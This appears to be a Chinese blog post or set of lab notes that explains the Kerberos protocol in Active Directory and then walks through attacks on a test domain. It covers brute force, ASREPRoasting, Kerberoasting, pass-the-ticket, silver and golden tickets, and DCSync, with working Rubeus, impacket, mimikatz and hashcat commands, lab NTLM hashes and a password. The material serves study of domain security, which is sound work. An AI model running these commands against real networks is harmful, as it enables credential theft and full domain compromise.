域內三大協議—Kerberos

https://www.tarlogic.com/blog/how-kerberos-works/

爲什麼需要了解原理,因爲不同攻擊方法不同,而有的可用,有的不可用。

簡介

什麼是 kerberos

和 NTLM 協議一樣,Kerberos 是一個認證協議,用來檢驗是否是某個用戶,而不檢查用戶所具有的權限。

用在 Active Directory 中,在這個平臺中,kerberos 提供關於每個用戶對應的權限信息,但是確認用戶是否有資源訪問某些文件卻是服務的職責。

術語

  • 傳輸層:使用 UDP 和 TCP ,由 kerberos 協議提供加密傳輸,由 KDC 程序監聽 88 UDP、TCP 。

    image-20211109114747988

  • 三個方面:多個代理協同來提供認證服務。

    • 用戶:想要訪問某個服務。
    • AP(Application Server):提供用戶所需的服務。
    • KDC(Key Distribution Center):位於 DC 中,是 Kerberos 中主要的服務,負責分發票據,AS(Authentication Service )也支持它,負責分發 TGT。
  • 加密 Key:Kerberos 多種Key,例如ticket。確保不會被第三方篡改,大部分都被加密或簽名。

    • KDC 或 krbtgt key ,根據 krbtgt 賬戶的 NTLM hash 派生。

    • User key ,從 NTML hash 派生。

    • Service Key 從服務所有者的 NTLM hash 派生而來。其可以是 用戶或計算機。

    • session key,由 用戶和 KDC 共同協商。

    • service session key ,用於用戶和服務之間。

  • Ticket:Kerberos 主要處理的結構,這些票據被分發給用戶,以便讓他們在 kerberos 領域中執行不同操作。有兩種ticket。

    • TGS (Ticket Granting Service),用戶用於服務驗證的票據,被 service key 加密。白銀票據。
    • TGT (Ticket Granting Ticket)被提交給 KDC 用於請求 TGSs ,被 KDC key 加密。黃金票據。

    Golden ticket ,比起 Silver ticket ,好處在於可以訪問任意的服務。The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (like the PC account hash). Thus, it is possible to gain access to that service by forging a custom TGS as any user (like privileged access to a computer).

  • PAC

    (Privilege Attribute Certificate)是一個幾乎包含所有票據的結構。它擁有用戶的特權,並使用 KDC key 對其簽名。

    服務偶爾可以通過與 KDC 通信來驗證 PAC。PAC 驗證只包括檢查簽名,而沒有檢查用戶擁有的特權是否正確。

    進一步,用戶可以在請求票據時通過指定 KERB-PA-PAC-REQUEST 字段來避免包含 PAC。

  • Messages:kerberos 使用多種 messages:

    • KRB_AS_REQ: Used to request the TGT to KDC.
    • KRB_AS_REP: Used to deliver the TGT by KDC.
    • KRB_TGS_REQ: Used to request the TGS to KDC, using the TGT.
    • KRB_TGS_REP: Used to deliver the TGS by KDC.
    • KRB_AP_REQ: Used to authenticate a user against a service, using the TGS.
    • KRB_AP_REP: (Optional) Used by service to identify itself against the user.
    • KRB_ERROR: Message to comunicate error conditions.

    img

    img

可能

認證過程

  • KRB_AS_REQ: Used to request the TGT to KDC.
  • KRB_AS_REP: Used to deliver the TGT by KDC.
  • KRB_TGS_REQ: Used to request the TGS to KDC, using the TGT.
  • KRB_TGS_REP: Used to deliver the TGS by KDC.
  • KRB_AP_REQ: Used to authenticate a user against a service, using the TGS.
  • KRB_AP_REP: (Optional) Used by service to identify itself against the user.
  • KRB_ERROR: Message to comunicate error conditions.

img

KRB_AS_REQ

用戶必須從 KDC 獲得 TGT,因此,用戶發送 KRB_AS_REQ 請求。

img

它包含以下字段:

  • 帶有客戶端密鑰的加密時間戳,用來認證用戶,並防止重放攻擊。
  • 進行認證的用戶名
  • 和 krbtgt 賬戶關聯的服務 SPN。
  • 由用戶生成的 Nonce。

KRB_AS_REP

KDC 在收到了用戶的請求後,KDC 通過在AD 數據庫中查找用戶密碼,用其解密時間戳來確認該用戶是否認證成功。如果正確,則回覆 KRB_AS_REP

img

包含以下信息:

  • 用戶名:
  • TGT:
    • 用戶名
    • session key
    • TGT 過期時間
    • 由KDC 進行簽名的 PAC
  • 使用用戶 key 加密的數據:
    • session key
    • TGT 過期時間
    • 用戶 nonce,用於防止重放攻擊。

一旦這個步驟完成,用戶就擁有了 TGT,它可以用於請求 TGSs 以訪問其它服務。

KRB_TGS_REQ

爲了請求 TGS,用戶向 KDC 發送 KRB_TGS_REQ 消息

img

KRB_TGS_REP

當DC 收到 KRB_TGS_REQ 消息,它將會返回 。。消息,包含 TGS 信息。

img

KRB_AP_REQ

如果正確,那麼用戶將擁有一個有效的 TGS,爲了使用它,用戶將會向 AP 發送 KRB_AP_REQ

img

攻擊

PTT

Pass The Ticket,是指獲取用戶的 ticket,並使用它去模擬任意用戶。然而,在 ticket 之前,必須先獲取 session key,以便使用 ticket。

可以嗅探,但無法獲取 session key。

另一個獲取 ticket 的方法就是從 lsass 進程中獲取,其中也駐留着session key。

能獲取到 TGT 更好,因爲 TGS 只能用於特定一個服務。

Golden/Silver Ticket

Golden Ticket 用於構建 TGT,有必要從 krbtgt 賬戶中獲取 NTLM hash。

一旦獲取到了,就可以自行構建TGT。

此外,儘管用戶更改了密碼,這個 ticket 仍然有效,TGT 只有過期和krbtgt 賬戶密碼更改纔會失效。

Silver Ticket 和此相似,不過它創建的票據是 TGS。需要獲取 service key,

Kerberoasting

[Kerberoasting](https://files.sans.org/summit/hackfest2014/PDFs/Kicking the Guard Dog of Hades - Attacking Microsoft Kerberos - Tim Medin(1).pdf) is a technique which takes advantage of TGS to crack the user accounts passwords offline.

As seen above, TGS comes encrypted with service key, which is derived from service owner account NTLM hash. Usually the owners of services are the computers in which the services are being executed. However, the computer passwords are very complex, thus, it is not useful to try to crack those. This also happens in case of krbtgt account, therefore, TGT is not crackable neither.

All the same, on some occasions the owner of service is a normal user account. In these cases it is more feasible to crack their passwords. Moreover, this sort of accounts normally have very juicy privileges. Additionally, to get a TGS for any service only a normal domain account is needed, due to Kerberos not perform authorization checks.

因爲 kerberos 是基於 tcp / udp 的,所以也可以使用 socks 代理。cobalstrike 自帶的 socks4a 就可以。

Kerberos brute-force

因爲 kerberos 是一種認證協議,所以可以嘗試進行暴力破解。比起傳統的暴力破解,有以下幾個好處:

  1. kerberos 可以暗示進行驗證的用戶名是否存在,由此可以進行用戶名枚舉。
  2. 認證失敗的日誌不是以傳統的認證失敗 4625,而是 4771 日誌記錄。

暴力破解也有風險,可能會鎖定賬戶。

linux

kerbrute

python3 kerbrute.py -domain god.org -users users.txt -passwords passwords.txt -outputfile currect.txt  -dc-ip 192.168.200.132

image-20211112110322187

它可以確定一個用戶是否存在,並且在破解成功的時候額外保存 TGT 票據。

windows

Rubeus Rubeus-Rundll32 dll版本,可以用 rundll32 運行。兩個都需要下載源碼後自行編譯。

# win本地環境
Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:god.org /dc:192.168.3.21 /outfile:currects.txt

exe 版本有點小 bug。dll 版本一直運行不成功。

image-20211112111436996

這個 KDC_ERR_ETYPE_NOTSUPP 報錯,其實是猜到了密碼。嘗試在項目 issues 中搜索,無結果,在 google 搜索,懷疑認證加密算法不支持導致的。在微軟官方文檔也提醒可能是加密算法的原因。嘗試修改kerberos 支持的加密算法,但修改後重啓也沒有解決。

下面的密碼是正確的,如果密碼正確,就會出現 KDC_ERR_ETYPE_NOTSUPP ,所以,逐漸縮小密碼範圍最終也能得到密碼。

image-20211111213937538

ASREPRoast

ASREPRoast is similar to Kerberoasting, that also pursues the accounts passwords cracking.

和 kerberoasting 相似,也是密碼破解。

ASREPRoast 攻擊查找不需要 kerberos 預認證用戶。這意味着任何人可以以這些不需要預認證的用戶向 KDC 發送 AS_REQ 消息,並接收 AS_REP 消息。AS_REP 消息包含一塊加密的數據,這塊數據使用這些用戶密碼的 hash 進行加密。所以,如果獲取到了,即可離線破解。

image-20211111184631124

執行該攻擊不需要域賬戶,只需要連接到 kdc。如果擁有域用戶,可以使用直接使用 ladp 查詢在域中無需 kerberos 預認證的用戶。

linux

GetNPUsers.py

# 遍歷 usernames.txt 查找中不需要預認證的用戶。
proxychains python3 asreproasting/GetNPUsers.py -dc-ip 192.168.3.21 -usersfile users.txt -format hashcat -outputfile asreproasting/hashes.asreproast god.org/

image-20211112105727285

兩個用戶都必須進行 kerberos 預認證,而最後一個用戶名不存在。所以輸出的 hashes.asreproast 爲空,無法進行此類攻擊。

# 從域控中查詢不需要預認證的用戶。
python3 asreproasting/GetNPUsers.py -dc-ip 192.168.3.21 -format hashcat -outputfile asreproasting/hashes.asreproast god.org/webadmin:admin\!\@\#45

image-20211112105900900

使用 ldap 去域控中查找不需要 kerberos 預認證的用戶,但沒找到滿足條件的用戶。

windows

Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast /domain:god.org /dc:192.168.3.21

image-20211112112710642

以當前用戶身份使用 ldap 協議去域控中查找,沒有查詢到滿足條件的用戶。

破解

hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Kerberoasting

收集在域中以用戶身份運行的服務的 TGS 票據,而不是計算機賬戶。因此,部分 TGS 票據以 用戶密碼派生的 hash 進行加密。因此,這個也可以離線破解密碼。

因此,爲了執行這種攻擊,必須有一個 域賬戶,才能請求 TGS。

image-20211112114614920

以用戶身份運行的服務是什麼呢?

C:\Users\webadmin\Desktop\kerberos>setspn -T god.org -Q */*
Checking domain DC=god,DC=org
CN=OWA2010CN-GOD,OU=Domain Controllers,DC=god,DC=org
        exchangeRFR/OWA2010CN-GOD
        exchangeRFR/OWA2010CN-God.god.org
        exchangeMDB/OWA2010CN-God.god.org
        exchangeMDB/OWA2010CN-GOD
        exchangeAB/OWA2010CN-GOD
        exchangeAB/OWA2010CN-God.god.org
        SMTP/OWA2010CN-GOD
        SMTP/OWA2010CN-God.god.org
        SmtpSvc/OWA2010CN-GOD
        SmtpSvc/OWA2010CN-God.god.org
        ldap/OWA2010CN-God.god.org/ForestDnsZones.god.org
        ldap/OWA2010CN-God.god.org/DomainDnsZones.god.org
        TERMSRV/OWA2010CN-GOD
        TERMSRV/OWA2010CN-God.god.org
        NtFrs-88f5d2bd-b646-11d2-a6d3-00c04fc9b232/OWA2010CN-God.god.org
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/OWA2010CN-God.god.org
        DNS/OWA2010CN-God.god.org
        GC/OWA2010CN-God.god.org/god.org
        RestrictedKrbHost/OWA2010CN-God.god.org
        RestrictedKrbHost/OWA2010CN-GOD
        HOST/OWA2010CN-GOD/GOD
        HOST/OWA2010CN-God.god.org/GOD
        HOST/OWA2010CN-GOD
        HOST/OWA2010CN-God.god.org
        HOST/OWA2010CN-God.god.org/god.org
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/dbfc2e86-abce-4ff6-8c71-4e25a20fa38e/god.org
        ldap/OWA2010CN-GOD/GOD
        ldap/dbfc2e86-abce-4ff6-8c71-4e25a20fa38e._msdcs.god.org
        ldap/OWA2010CN-God.god.org/GOD
        ldap/OWA2010CN-GOD
        ldap/OWA2010CN-God.god.org
        ldap/OWA2010CN-God.god.org/god.org
CN=krbtgt,CN=Users,DC=god,DC=org
        kadmin/changepw
CN=MARY-PC,CN=Computers,DC=god,DC=org
        MSSQLSvc/mary-PC.god.org:1433
        MSSQLSvc/mary-PC.god.org
        RestrictedKrbHost/MARY-PC
        HOST/MARY-PC
        RestrictedKrbHost/MARY-PC.god.org
        HOST/MARY-PC.god.org
CN=JACK-PC,CN=Computers,DC=god,DC=org
        RestrictedKrbHost/JACK-PC
        HOST/JACK-PC
        RestrictedKrbHost/Jack-PC.god.org
        HOST/Jack-PC.god.org
CN=WEBSERVER,CN=Computers,DC=god,DC=org
        MSSQLSvc/WebServer.god.org:1433
        MSSQLSvc/WebServer.god.org
        WSMAN/WebServer
        WSMAN/WebServer.god.org
        TERMSRV/WEBSERVER
        TERMSRV/WebServer.god.org
        RestrictedKrbHost/WEBSERVER
        HOST/WEBSERVER
        RestrictedKrbHost/WEBSERVER.god.org
        HOST/WEBSERVER.god.org
CN=FILESERV,CN=Computers,DC=god,DC=org
        MSSQLSvc/fileserv.god.org:1433
        HOST/FILESERV
        HOST/fileserv.god.org
CN=SQLSERVER,CN=Computers,DC=god,DC=org
        TERMSRV/SQLSERVER
        TERMSRV/SqlServer.god.org
        MSSQLSvc/SqlServer.god.org:1433
        MSSQLSvc/SqlServer.god.org
        WSMAN/SqlServer
        WSMAN/SqlServer.god.org
        RestrictedKrbHost/SQLSERVER
        HOST/SQLSERVER
        RestrictedKrbHost/SqlServer.god.org
        HOST/SqlServer.god.org

Existing SPN found!

linux

GetUserSPNs.py

python3 kerberoast/GetUserSPNs.py god.org/webadmin:admin\!\@\#45 -outputfile kerberoast/hashes.kerberoast -dc-ip 192.168.3.21

image-20211112115810849

沒有找到以用戶身份運行的服務。

windows

Rubeus.exe kerberoast /outfile:hashes.kerberoast /domain:god.org /dc:192.168.3.21

image-20211112120708312

同樣以當前用戶身份使用 ldap 去域控中查找,但未找到。

破解 TGS

hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt

PTT

Pass The Hash 是 NTLM 協議中的攻擊方式,而 Pass The Ticket 則是 Kerberos 協議中攻擊方式。

在 NTLM 中,進行認證的是用戶的 Hash;而在 Kerberos 中,進行認證的是用戶 Ticket。

和 PTK 類似,只不過是直接使用票據來進行認證。

獲取 Ticket

嗅探。

image-20211113121113169

要想利用成功,需要兩個部分。第二個部分好解決。因爲 Kerberos 協議是基於 TCP/UDP,所以可以執行中間人攻擊,嗅探加密後的 TGT。

image-20211113115226564

但是另一個所需的就是 Session Key 即使嗅探到了,也因爲無法得知 krbtgt hash 而無法解密。所以這種做法是行不通的。

因此另一種做法是從 lsass 進程內存中獲取。

PTK

在 NTLM 協議中進行hash 是進行認證的密碼。而在 Kerberos 認證體系中,Ticket 是進行認證的關鍵。

所以 PTH 和 PTK

在 NTLM 認證中流行的 PTH,在 kerberos 上下文中則是 PTK,如果攻擊者獲取到了用戶的 hash,它便可以在面向。。時模擬他。

用戶哈希可以從工作組 SAM 文件中提取。或者DC 的 NTDS.DIT。

這個攻擊會使用用戶的 NTLM hash 去請求 kerberos 票據,以替代通過 ntlm 傳遞 hash。

因此,當環境中只支持kerberos 協議,而不支持 NTLM 協議進行認證時,他將會很有用。

爲了進行攻擊,需要獲取用戶的 NTLM hash(或者密碼),最終可以通過得到的 TGT 以用戶的身份訪問允許的服務。

linux

python3 ptk/getTGT.py god.org/administrator -hashes :ccef208c6485269c20db2cad21734fe7 -dc-ip 192.168.3.21

image-20211112144934050

獲取成功後,這些可以用於 psexec.py smbexec.py wmiexec.py

proxychains python3 ptk/psexec.py god.org/[email protected] -k  -no-pass -dc-ip 192.168.3.21 -target-ip 192.168.3.31 -debug

image-20211112165638531

  1. 時區問題
  2. 使用代理,要明確指定 ip -dc-ip -target-ip

windows

Rubeus.exe asktgt /domain:god.org /user:administrator /rc4:ccef208c6485269c20db2cad21734fe7 /ptt

image-20211112173321966

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

PsExec.exe -accepteula \\webserver.god.org cmd

image-20211112180036956

這個東西只能訪問 dc?

猜測 TGT 票據,只能用來與域控通訊。錯,不能和執行命令的本機通訊。

After injecting the ticket of a user account, it is possible to act on behalf of that user in remote machines, but not in the local one, where Kerberos doesn’t apply. Remember that TGT tickets are more useful than TGS ones, as they are not restricted to one service only.

Silver ticket

銀票據攻擊基於當擁有目標賬戶的 NTLM hash 時,可以起草一個指定服務的 TGS。因此,通過自定義最大權限的 TGS,從而可以訪問指定的服務。

在這種場景下,有可能起草一個 TGS 以便通過 SMB 獲取目標的管理員權限。同時,有可能強制 票據,使用 AES kerberos key。它同樣從 計算而來。

可以在擁有 ntlm hash情況下,以及在擁有 kerberos key 的情況下進行計算。

Golden ticket

黃金票據攻擊。僞造 TGT,TGT 功能就是用來請求 TGS 的,所以我們僞造的 TGT 必須也能夠成功請求 TGS。參考請求 TGS 的數據包。

image-20211113145802514

其中第二個部分是將上一步 KRB_AS_REP 消息中直接挪過來。

image-20211113150248415

而第一個部分則只有解密 TGT,獲取其中的 Session key 纔可以進行僞造。解密就需要 krbtgt 用戶的 NTLM hash,而這個 hash 只有域管理員纔有權限獲取。所以

票據只會在超過失效時間以及 krbtgt 用戶密碼更改而失效。

linux

創建憑證。

krbtgt ntlm hash 如何而來。

  1. 通過 mimikatz dcsync 獲取。

    通過模擬域控制器,向域控查詢密碼信息。

    mimikatz lsadump::dcsync /user:krbtgt
    

    image-20211113153500739

  2. 通過 mimikatz lsa

    privilege::debug
    lsadump::lsa /inject /name:krbtgt
    

    但必須在域控上執行。

  3. meterpreter hashdump

    meterpreter > hashdump
    

    在具有域控的 meterpreter session 時,可以執行 hashdump 命令來獲取。

  4. meterpreter dcsync

    # 加載 kiwi mimikatz 擴展
    load kiwi
    dcsync_ntlm krbtgt
    
# mimikatz
lsadump::lsa /inject /name:krbtgt
python3 SilverGolden/ticketer.py -nthash b097d7ed97495408e1537f706c357fc5 -domain-sid S-1-5-21-1218902331-2157346161-1782232778 -domain god.org myprivateuser

不需要代理。

用戶名即使不存在,也照樣可以使用。

Domain sid  whoami /all
S-1-5-21-1218902331-2157346161-1782232778

其它一些攻擊技術

DCSync

DCSync是域滲透中經常會用到的技術。

一般用來導HASH的,比如mimikatz等被殺的情況

原理

模仿一個域控制器DC,從真實的域控制器中請求獲取數據,例如賬號的口令散列值等數據。在域內,不同DC之間,每15分鐘都會有一次域數據的同步。實現不登錄到域控制器上,而獲取域控制器數據庫中的數據。

DCSync之前,爲了獲取域的賬號口令信息,一般需要登錄域服務器,在域服務器上運行代碼纔可以獲取。

DCSync的最大特點,在於不用登陸域服務器,即可遠程通過域數據同步複製的方式獲得想要的用戶口令信息。

需要注意的是,DCSync攻擊的對象如果是RODC域控制器(只讀域控制器 ),則會失效,因爲RODC是不能參與複製同步數據到其他DC的。

DCSync的原理非常清晰,利用域控制器之間的數據同步複製:

  • 發現網絡中的目標域控制器
  • 通過DRS服務的GetNCChanges接口發起數據同步請求,Directory Replication Service(DRS)Remote Protocol

DCSync 需要什麼權限

  • 複製目錄更改Replicating Directory Changes (DS-Replication-Get-Changes)
  • 複製目錄更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是這個)
  • 正在複製篩選集中的目錄更改Replicating Directory Changes In Filtered Set (rare, only required in some environments)

image-20211114153842244

DCSync 利用

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=local" -PrincipalIdentity zhangs -Rights DCSync
# 然後使用zhangs進行DCSync
.\mimikatz.exe "lsadump::dcsync /user:test\krbtgt" "exit"

DCSync攻擊檢測

可以在網絡設備上檢測來自白名單以外的域控制器數據同步複製。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章